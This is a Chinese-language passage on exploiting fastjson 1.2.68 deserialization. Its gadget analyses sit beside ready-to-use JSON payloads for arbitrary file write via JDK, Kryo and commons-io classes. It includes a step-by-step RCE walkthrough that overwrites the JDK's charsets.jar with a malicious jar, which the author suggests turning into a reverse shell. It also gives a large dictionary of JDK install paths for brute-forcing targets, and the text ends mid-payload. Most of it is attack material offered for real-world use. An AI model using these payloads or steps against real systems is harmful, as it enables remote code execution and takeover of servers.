1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 { 'stream': { '@type': "java.lang.AutoCloseable" , '@type': 'org.eclipse.core.internal.localstore.SafeFileOutputStream', 'targetPath': '/tmp/dst', 'tempPath': '/tmp/src' } , 'writer': { '@type': "java.lang.AutoCloseable" , '@type': 'com.esotericsoftware.kryo.io.Output', 'buffer': 'aGFja2VkIGJ5IG0wMWUu', 'outputStream': { '$ref': '$.stream' } , 'position': 15 } , 'close': { '@type': "java.lang.AutoCloseable" , '@type': 'com.sleepycat.bind.serial.SerialOutput', 'out': { '$ref': '$.writer' } } }
浅析 : (1) 首先通过org.eclipse.core.internal.localstore.SafeFileOutputStream
的构造方法创建一个输出流对象,并通过参数去指定目标路径/tmp/dst
; (2) 然后通过com.esotericsoftware.kryo.io.Output
的无参构造方法创建输出流对象,并通过setter方法将自身的输出流指向SafeFileOutputStream
输出流对象,且通过setter方法往自身缓冲区填充要写入的数据; (3) 最后,再通过com.sleepycat.bind.serial.SerialOutput
的构造方法创建输出流对象,并通过参数将输出流指向(2)创建的Output
对象;同时在com.sleepycat.bind.serial.SerialOutput
构造方法调用的过程中,会调用com.esotericsoftware.kryo.io.Output#flush()
方法,将buffer缓冲区的数据写入到目标文件/tmp/dst
。
代码就不贴了,有兴趣可以动手调试一下。
2.2.6 Gadget 3: 写文件 这是 @rmb122(参考[5]
)发现的一个仅依赖于JDK的写文件gadget,尽管如此,前面也提到了,成功与否取决于目标程序的JDK是否带调试信息。
PoC :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 { '@type': "java.lang.AutoCloseable" , '@type': 'sun.rmi.server.MarshalOutputStream', 'out': { '@type': 'java.util.zip.InflaterOutputStream', 'out': { '@type': 'java.io.FileOutputStream', 'file': '/tmp/fj_hack_jdk11', 'append': false } , 'infl': { 'input': { 'array': 'eNoLz0gsKS4uLVBIL60s1lEoycgsVgCiXAPDVD0FT/VchYzUolSFknyF8sSSzLx0hbT8IoVQhbz8cj0uAGcUE78=', 'limit': 65 } } , 'bufLen': 1048576 } , 'protocolVersion': 1 }
浅析 : (1) 在遇到Inflater#setInput(ByteBuffer input)
方法时,fastjson处理java.nio.ByteBuffer
类型的反序列化会使用com.alibaba.fastjson.serializer.ByteBufferCodec
这个反序列化器进行处理,该反序列化器会将数据先反序列化为com.alibaba.fastjson.serializer.ByteBufferCodec$ByteBufferBean
,然后再调用ByteBufferCodec$ByteBufferBean#byteBuffer()
方法返回ByteBuffer
对象。 (2) java.util.zip.InflaterOutputStream
是JDK中可用来对zip数据进行解压缩的输出流对象。java.util.zip.InflaterOutputStream#write()
方法主要做了两件事:
调用Inflater#inflate()
对ByteBuffer input
中的zip压缩数据进行解压并放到缓冲区byte[] buf[bufLen]
中;
调用输出流对象(FileOutputStream
)的write()
方法将buf
中的解压数据写入到目标文件。
由于java.utils.zip.Inflater
处理的压缩数据是标准的zip格式,所以可通过命令行程序gzip、openssl或python脚本调用zlib库快速输出指定明文压缩后的数据。(参考14
)。当然,也可以使用Java的Inflater/Deflater
这两个类,JDK文档里就有代码片段说明如何使用这两个类来实现压缩/解压缩。
这里以Python3
为例:
由于上面的都是分析比较多我这里再贴一片实战案例的文章更好的理解 fastjson v1.2.68 RCE利用链复现
本文漏洞环境搭建用到的相关文件下载链接如下:
tomcat: https://ftp.jaist.ac.jp/pub/apache/tomcat/tomcat-8/v8.5.65/bin/apache-tomcat-8.5.65.tar.gz
fastjson漏洞环境: https://pan.baidu.com/s/1C022L851nIkq4zy5hiG_TA
提取码: sven
fastjson-1.2.68.jar: https://repo1.maven.org/maven2/com/alibaba/fastjson/1.2.68/fastjson-1.2.68.jar
下载完成后解压tomcat
然后将 fastjson1.2.47.tar.gz 拷贝到 tomcat的webapps目录下解压.
1 2 3 tar -zxvf apache-tomcat-8.5 .65 .tar .gz mv /apache-tomcat-8.5 .65 /tomcat8 tar -zxvf fastjson1.2 .47 .tar .gz
如仍没搭建起来, 可参考如下文章中的”方法二”搭建.
https://blog.csdn.net/qq_40989258/article/details/103049474
(未复现过fastjson1.2.47版本漏洞也可顺便复现下)
完成后, 修改 tomcat/webapps/fastjson/META-INF/maven/com.vulhub.fastjson/fastjson/pom.xml 文件中的fastjson版本为1.2.68
拷贝一个 fastjson-1.2.68.jar 文件到靶机的 tomcat/webapps/fastjson/WEB-INF/lib 目录下.
启动/关闭tomcat
(每次Jar包被触发后, 如需更改都需要重启tomcat初始化到未加载过相关利用jar包的状态)
1 2 ./catalina.sh start ./catalina.sh stop
访问 http://127.0.0.1:8080/fastjson/ 出现 “Hello World” 即环境搭建正常.
1.dnslog验证下漏洞环境是否可用
1 {"x" :{"@type" :"java.net.InetSocketAddress" {"address" :,"val" :"dnslog" }}}
2.下载漏洞利用jar包做处理
https://github.com/LandGrey/spring-boot-upload-file-lead-to-rce-tricks
将项目中的 spring-boot-upload-file-lead-to-rce-tricks-mainelease\charsets.jar 进行压缩编码处理.
(作者提供的jar包, 内置的代码执行后, 在linux环境下会在 /tmp 文件夹下创建测试文件)
1 cat charsets.jar | openssl zlib | base64 -w 0
3.确认java安装目录, 找到其lib目录下 charsets.jar 的位置
如: /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.282.b08-1.el7_9.x86_64/jre/lib/charsets.jar
(后面的poc会用到, 实战利用时需要通过字典去枚举jdk目录)
1 ls -lrt /etc/alternatives/java
poc改动参数说明:
file参数: 靶机上jdk中charsets.jar文件所在的完整路径
input参数: 即上述编码处理后的jar包内容
fastjson-1.2.68版本任意文件写入poc
(如下poc会将一个名为charsets.jar的文件上传到指定的目录, 如果该文件已存在, 将进行覆写.)
1 {"x" :{"@type" :"java.lang.AutoCloseable" ,"@type" :"sun.rmi.server.MarshalOutputStream" ,"out" :{"@type" :"java.util.zip.InflaterOutputStream" ,"out" :{"@type" :"java.io.FileOutputStream" ,"file" :"/usr/lib/jvm/java-1.8.0-openjdk-1.8.0.282.b08-1.el7_9.x86_64/jre/lib/charsets.jar" ,"append" :false },"infl" :{"input" :"xxx" },"bufLen" :1048576 },"protocolVersion" :1 }}
4.发包, 覆写靶机上jdk原本的charsets.jar文件
(建议将源文件先进行备份)
charsets.jar文件被覆写前后比对图
5.触发漏洞
需要注意的是, 同名jar包只能主动触发一次, 触发后再次进行覆写, 也不会在加载同名jar包.
1 {"x" :{"@type" :"java.nio.charset.Charset" ,"val" :"500" }}
6.如何修改jar包?
LandGrey师傅提供了源码, 改下所要执行的命令重新生成恶意jar包即可.
详细步骤如下:
IDEA新建一个名为charsets的普通项目
将 spring-boot-upload-file-lead-to-rce-tricks-main\charsets\src下的两个目录拷贝进src目录下.
看下 IBM33722.java 文件的源码, 相信这里的代码大家还是都能看懂的.
将linux部分中的命令改为反弹shell的命令即可.
重新打包成jar包.
ctrl+alt+shift+s打开项目结构窗口, 配置如下图.
这里可以看到你的生成文件路径.
生成修改后的jar包, 后面的操作重复前面的步骤即可, 不再复述.
最后附张反弹shell的截图.
常见jdk目录记录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 /usr/lib/jvm/jre/lib/ /usr/ local/jdk/jre/lib//usr/ local/openjdk-6 /lib//usr/ local/openjdk-7 /lib//usr/ local/openjdk-8 /lib//usr/ lib/jvm/java/jre/lib//usr/ lib/jvm/jdk6/jre/lib//usr/ lib/jvm/jdk7/jre/lib//usr/ lib/jvm/jdk8/jre/lib//usr/ lib/jvm/jdk-11.0 .3 /lib//usr/ lib/jvm/jdk1.6 /jre/lib//usr/ lib/jvm/jdk1.7 /jre/lib//usr/ lib/jvm/jdk1.8 /jre/lib//usr/ local/openjdk6/jre/lib//usr/ local/openjdk7/jre/lib//usr/ local/openjdk8/jre/lib//usr/ local/openjdk-6 /jre/lib//usr/ local/openjdk-7 /jre/lib//usr/ local/openjdk-8 /jre/lib//mnt/ jdk/jdk1.8 .0_191 /jre/lib//usr/ lib/jvm/jdk1.6 .0 /jre/lib//usr/ lib/jvm/jdk1.7 .0 /jre/lib//usr/ lib/jvm/jdk1.8 .0 /jre/lib//usr/ java/jdk1.8 .0_111 /jre/lib//usr/ java/jdk1.8 .0_121 /jre/lib//usr/ lib/jvm/java-6 -oracle/lib//usr/ lib/jvm/java-7 -oracle/lib//usr/ lib/jvm/java-8 -oracle/lib//usr/ lib/jvm/java-1.6 .0 /jre/lib//usr/ lib/jvm/java-1.7 .0 /jre/lib//usr/ lib/jvm/java-1.8 .0 /jre/lib//usr/ lib/jvm/jdk1.7 .0_51 /jre/lib//usr/ lib/jvm/jdk1.7 .0_76 /jre/lib//usr/ lib/jvm/jdk1.8 .0_60 /jre/lib//usr/ lib/jvm/jdk1.8 .0_66 /jre/lib//usr/ lib/jvm/jdk1.8 .0_74 /jre/lib//usr/ lib/jvm/jdk1.8 .0_91 /jre/lib//usr/ lib/jvm/oracle_jdk6/jre/lib//usr/ lib/jvm/oracle_jdk7/jre/lib//usr/ lib/jvm/oracle_jdk8/jre/lib//usr/ lib/jvm/jdk1.8 .0_101 /jre/lib//usr/ lib/jvm/jdk1.8 .0_102 /jre/lib//usr/ lib/jvm/jdk1.8 .0_111 /jre/lib//usr/ lib/jvm/jdk1.8 .0_131 /jre/lib//usr/ lib/jvm/jdk1.8 .0_144 /jre/lib//usr/ lib/jvm/jdk1.8 .0_151 /jre/lib//usr/ lib/jvm/jdk1.8 .0_152 /jre/lib//usr/ lib/jvm/jdk1.8 .0_161 /jre/lib//usr/ lib/jvm/jdk1.8 .0_171 /jre/lib//usr/ lib/jvm/jdk1.8 .0_172 /jre/lib//usr/ lib/jvm/jdk1.8 .0_181 /jre/lib//usr/ lib/jvm/jdk1.8 .0_191 /jre/lib//usr/ lib/jvm/jdk1.8 .0_202 /jre/lib//usr/ lib/jvm/jdk8u202-b08/jre/lib//usr/ lib/jvm/jre-6 -oracle-x64/lib//usr/ lib/jvm/jre-7 -oracle-x64/lib//usr/ lib/jvm/jre-8 -oracle-x64/lib//usr/ lib/jvm/zulu-6 -amd64/jre/lib//usr/ lib/jvm/zulu-7 -amd64/jre/lib//usr/ lib/jvm/zulu-8 -amd64/jre/lib//usr/ lib/jvm/java-6 -oracle/jre/lib//usr/ lib/jvm/java-7 -oracle/jre/lib//usr/ lib/jvm/java-8 -oracle/jre/lib//usr/ jdk/instances/jdk1.6 .0 /jre/lib//usr/ jdk/instances/jdk1.7 .0 /jre/lib//usr/ jdk/instances/jdk1.8 .0 /jre/lib//usr/ lib/jvm/j2re1.6 -oracle/jre/lib//usr/ lib/jvm/j2re1.7 -oracle/jre/lib//usr/ lib/jvm/j2re1.8 -oracle/jre/lib//usr/ lib/jvm/java-1.6 .0 -sun/jre/lib//usr/ lib/jvm/java-1.7 .0 -sun/jre/lib//usr/ lib/jvm/java-1.8 .0 -sun/jre/lib//usr/ lib/jvm/java-6 -openjdk/jre/lib//usr/ lib/jvm/java-7 -openjdk/jre/lib//usr/ lib/jvm/java-8 -openjdk/jre/lib//usr/ lib/jvm/j2sdk1.6 -oracle/jre/lib//usr/ lib/jvm/j2sdk1.7 -oracle/jre/lib//usr/ lib/jvm/j2sdk1.8 -oracle/jre/lib//usr/ lib/jvm/java-11 -openjdk/jre/lib//usr/ lib/jvm/java-12 -openjdk/jre/lib//usr/ lib/jvm/java-13 -openjdk/jre/lib//usr/ lib/jvm/java-1.6 -openjdk/jre/lib//usr/ lib/jvm/java-1.7 -openjdk/jre/lib//usr/ lib/jvm/java-1.8 -openjdk/jre/lib//usr/ lib/jvm/java-9 -openjdk-amd64/lib//usr/ lib/jvm/jdk-6 -oracle-x64/jre/lib//usr/ lib/jvm/jdk-7 -oracle-x64/jre/lib//usr/ lib/jvm/jdk-8 -oracle-x64/jre/lib//usr/ lib/jvm/jre-6 -oracle-x64/jre/lib//usr/ lib/jvm/jre-7 -oracle-x64/jre/lib//usr/ lib/jvm/jre-8 -oracle-x64/jre/lib//usr/ lib/jvm/java-10 -openjdk-amd64/lib//usr/ lib/jvm/java-11 -openjdk-amd64/lib//usr/ lib/jvm/java-1.11 .0 -openjdk/jre/lib//usr/ lib/jvm/java-1.12 .0 -openjdk/jre/lib//usr/ lib/jvm/java-6 -openjdk-i386/jre/lib//usr/ lib/jvm/java-6 -sun-1.6 .0 .16 /jre/lib//usr/ lib/jvm/java-6 -sun-1.6 .0 .20 /jre/lib//usr/ lib/jvm/java-7 -openjdk-i386/jre/lib//usr/ lib/jvm/java-8 -openjdk-i386/jre/lib//usr/ lib/jvm/java-6 -openjdk-amd64/jre/lib//usr/ lib/jvm/java-7 -openjdk-amd64/jre/lib//usr/ lib/jvm/java-8 -openjdk-amd64/jre/lib//usr/ lib/jvm/java-1.6 .0 -oracle-x64/jre/lib//usr/ lib/jvm/java-1.7 .0 -oracle-x64/jre/lib//usr/ lib/jvm/java-1.8 .0 -oracle-x64/jre/lib//usr/ lib/jvm/oracle-java6-jdk-amd64/jre/lib//usr/ lib/jvm/oracle-java7-jdk-amd64/jre/lib//usr/ lib/jvm/oracle-java8-jdk-amd64/jre/lib//usr/ lib64/jvm/java-1.6 .0 -ibd-1.6 .0 /jre/lib//usr/ lib64/jvm/java-1.6 .0 -ibm-1.6 .0 /jre/lib//usr/ lib64/jvm/java-1.7 .1 -ibm-1.7 .1 /jre/lib//usr/ lib/jvm/java-1.6 .0 -sun-1.6 .0 .11 /jre/lib//usr/ lib/jvm/java-1.6 .0 -openjdk-amd64/jre/lib//usr/ lib/jvm/java-1.7 .0 -openjdk-amd64/jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-amd64/jre/lib//usr/ lib/jvm/jre-1.6 .0 -openjdk.x86_64 /jre/lib//usr/ lib/jvm/jre-1.7 .0 -openjdk.x86_64 /jre/lib//usr/ lib/jvm/jre-1.8 .0 -openjdk.x86_64 /jre/lib//usr/ lib/jvm/java-1.11 .0 -openjdk-amd64/jre/lib//usr/ lib/jvm/jdk-8 -oracle-arm-vfp-hflt/jre/lib//usr/ lib64/jvm/java-1.6 .0 -openjdk-1.6 .0 /jre/lib//usr/ lib64/jvm/java-1.7 .0 -openjdk-1.7 .0 /jre/lib//usr/ lib64/jvm/java-1.8 .0 -openjdk-1.8 .0 /jre/lib//usr/ lib/jvm/java-1.6 .0 -openjdk-1.6 .0 .0 .x86_64 /jre/lib//usr/ lib/jvm/java-1.7 .0 -openjdk-1.8 .0 .0 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -amazon-corretto.x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .0 .x86_64 /jre/lib//usr/ lib/jvm/java-1.7 .0 -openjdk-1.7 .0 .45 .x86_64 /jre/lib//usr/ lib/jvm/java-1.7 .0 -openjdk-1.7 .0 .65 .x86_64 /jre/lib//usr/ lib/jvm/java-1.7 .0 -openjdk-1.7 .0 .75 .x86_64 /jre/lib//usr/ lib/jvm/java-1.7 .0 -openjdk-1.7 .0 .79 .x86_64 /jre/lib//usr/ lib/jvm/java-1.7 .0 -openjdk-1.7 .0 .91 .x86_64 /jre/lib//usr/ lib/jvm/java-1.7 .0 -openjdk-1.7 .0 .101 .x86_64 /jre/lib//usr/ lib/jvm/java-1.7 .0 -openjdk-1.7 .0 .191 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .31 -2. b13.el7 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .65 -3. b17.el7 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .102 -4. b14.el7 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .161 -2. b14.el7 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .171 -7. b10.el7 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .131 -11. b12.el7 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .31 -1. b13.el6_6 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .65 -2. b17.el7_1 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .77 -0. b03.el6_7 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .91 -0. b14.el7_2 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .101 -3. b13.el7_2 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .102 -1. b14.el7_2 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .111 -0. b15.el6_8 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .111 -1. b15.el7_2 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .111 -2. b15.el7_3 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .121 -0. b13.el7_3 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .131 -0. b11.el6_9 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .131 -2. b11.el7_3 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .131 -3. b12.el7_3 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .141 -1. b16.el7_3 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .141 -3. b16.el6_9 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .144 -0. b01.el6_9 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .144 -0. b01.el7_4 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .151 -1. b12.el6_9 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .151 -1. b12.el7_4 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .151 -5. b12.el7_4 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .161 -0. b14.el7_4 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .161 -3. b14.el6_9 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .171 -3. b10.el6_9 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .171 -8. b10.amzn2 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .171 -8. b10.el6_9 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .171 -8. b10.el7_5 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .181 -3. b13.amzn2 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .181 -3. b13.el7_5 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .191 .b12 -0. amzn2.x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .191 .b12 -0. el7_5.x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .191 .b12 -1. el7_6.x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .201 .b09 -0. amzn2.x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .201 .b09 -2. el7_6.x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .212 .b04 -0. el7_6.x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .222 .b10 -0. el7_6.x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .282 .b08 -1. el7_9.x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .181 -3. b13.el6_10 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .191 .b12 -0. el6_10.x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .212 .b04 -0. el6_10.x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .31 -2. b13.5 .amzn1 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .65 -2. b17.7 .amzn1 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .77 -0. b03.9 .amzn1 .x86_64 /jre/lib//usr/ lib/jvm/java-1.7 .0 -openjdk-1.7 .0 .101 -2.6 .6 .1 .el7_2 .x86_64 /jre/lib//usr/ lib/jvm/java-1.7 .0 -openjdk-1.7 .0 .131 -2.6 .9 .0 .el7_3 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .91 -0. b14.10 .amzn1 .x86_64 /jre/lib//usr/ lib/jvm/java-1.7 .0 -openjdk-1.7 .0 .141 -2.6 .10 .1 .el7_3 .x86_64 /jre/lib//usr/ lib/jvm/java-1.7 .0 -openjdk-1.7 .0 .171 -2.6 .13 .0 .el7_4 .x86_64 /jre/lib//usr/ lib/jvm/java-1.7 .0 -openjdk-1.7 .0 .191 -2.6 .15 .4 .el7_5 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .101 -3. b13.24 .amzn1 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .111 -1. b15.25 .amzn1 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .121 -0. b13.29 .amzn1 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .131 -2. b11.30 .amzn1 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .141 -1. b16.32 .amzn1 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .151 -1. b12.35 .amzn1 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .161 -0. b14.36 .amzn1 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .171 -7. b10.37 .amzn1 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .171 -8. b10.38 .amzn1 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .191 .b12 -0.42 .amzn1 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .201 .b09 -0.43 .amzn1 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .212 .b04 -0.45 .amzn1 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .171 -8. b10.el7_5 .x86_64 -debug/jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .181 -8. b13.39 .39 .amzn1 .x86_64 /jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .191 .b12 -0. el7_5.x86_64 -debug/jre/lib//usr/ lib/jvm/java-1.8 .0 -openjdk-1.8 .0 .191 .b12 -0. el6_10.x86_64 -debug/jre/lib/
0x03 漏洞修复
0x04 踩过的坑
触发漏洞的poc一定要放在最后执行.
复现失败时, 记得重启tomcat, 保证恶意jar包可以被重新加载.
使用命令打包的恶意jar包一直没成功, 不知道为啥, 不清楚原理的话还是建议用开发工具打包.
实战利用时, 可先将jdk目录字典全都跑一遍, 然后再发送触发漏洞的poc.
还有更多的payload详细的部分可以看原文,这里精简了一下
取自fastjson payload大集合
但是有很多都是有利用条件和依赖的
fastjson<=1.2.68,JDK11
https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 { "@type": "java.lang.AutoCloseable", "@type": "sun.rmi.server.MarshalOutputStream", "out": { "@type": "java.util.zip.InflaterOutputStream", "out": { "@type": "java.io.FileOutputStream", "file": "/tmp/asdasd", "append": true }, "infl": { "input": { "array": "eJxLLE5JTCkGAAh5AnE=", "limit": 14 } }, "bufLen": "100" }, "protocolVersion": 1 }
fastjson<=1.2.68,commons-io-2.0至2.6
https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 { "x":{ "@type":"com.alibaba.fastjson.JSONObject", "input":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.ReaderInputStream", "reader":{ "@type":"org.apache.commons.io.input.CharSequenceReader", "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)" }, "charsetName":"UTF-8", "bufferSize":1024 }, "branch":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.output.WriterOutputStream", "writer":{ "@type":"org.apache.commons.io.output.FileWriterWithEncoding", "file":"/tmp/pwned", "encoding":"UTF-8", "append": false }, "charsetName":"UTF-8", "bufferSize": 1024, "writeImmediately": true }, "trigger":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.XmlStreamReader", "is":{ "@type":"org.apache.commons.io.input.TeeInputStream", "input":{ "$ref":"$.input" }, "branch":{ "$ref":"$.branch" }, "closeBranch": true }, "httpContentType":"text/xml", "lenient":false, "defaultEncoding":"UTF-8" }, "trigger2":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.XmlStreamReader", "is":{ "@type":"org.apache.commons.io.input.TeeInputStream", "input":{ "$ref":"$.input" }, "branch":{ "$ref":"$.branch" }, "closeBranch": true }, "httpContentType":"text/xml", "lenient":false, "defaultEncoding":"UTF-8" }, "trigger3":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.XmlStreamReader", "is":{ "@type":"org.apache.commons.io.input.TeeInputStream", "input":{ "$ref":"$.input" }, "branch":{ "$ref":"$.branch" }, "closeBranch": true }, "httpContentType":"text/xml", "lenient":false, "defaultEncoding":"UTF-8" } } }
fastjson<=1.2.68,commons-io-2.7至2.8
https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 { "x":{ "@type":"com.alibaba.fastjson.JSONObject", "input":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.ReaderInputStream", "reader":{ "@type":"org.apache.commons.io.input.CharSequenceReader", "charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)", "start":0, "end":2147483647 }, "charsetName":"UTF-8", "bufferSize":1024 }, "branch":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.output.WriterOutputStream", "writer":{ "@type":"org.apache.commons.io.output.FileWriterWithEncoding", "file":"/tmp/pwned", "charsetName":"UTF-8", "append": false }, "charsetName":"UTF-8", "bufferSize": 1024, "writeImmediately": true }, "trigger":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.XmlStreamReader", "inputStream":{ "@type":"org.apache.commons.io.input.TeeInputStream", "input":{ "$ref":"$.input" }, "branch":{ "$ref":"$.branch" }, "closeBranch": true }, "httpContentType":"text/xml", "lenient":false, "defaultEncoding":"UTF-8" }, "trigger2":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.XmlStreamReader", "inputStream":{ "@type":"org.apache.commons.io.input.TeeInputStream", "input":{ "$ref":"$.input" }, "branch":{ "$ref":"$.branch" }, "closeBranch": true }, "httpContentType":"text/xml", "lenient":false, "defaultEncoding":"UTF-8" }, "trigger3":{ "@type":"java.lang.AutoCloseable", "@type":"org.apache.commons.io.input.XmlStreamReader", "inputStream":{ 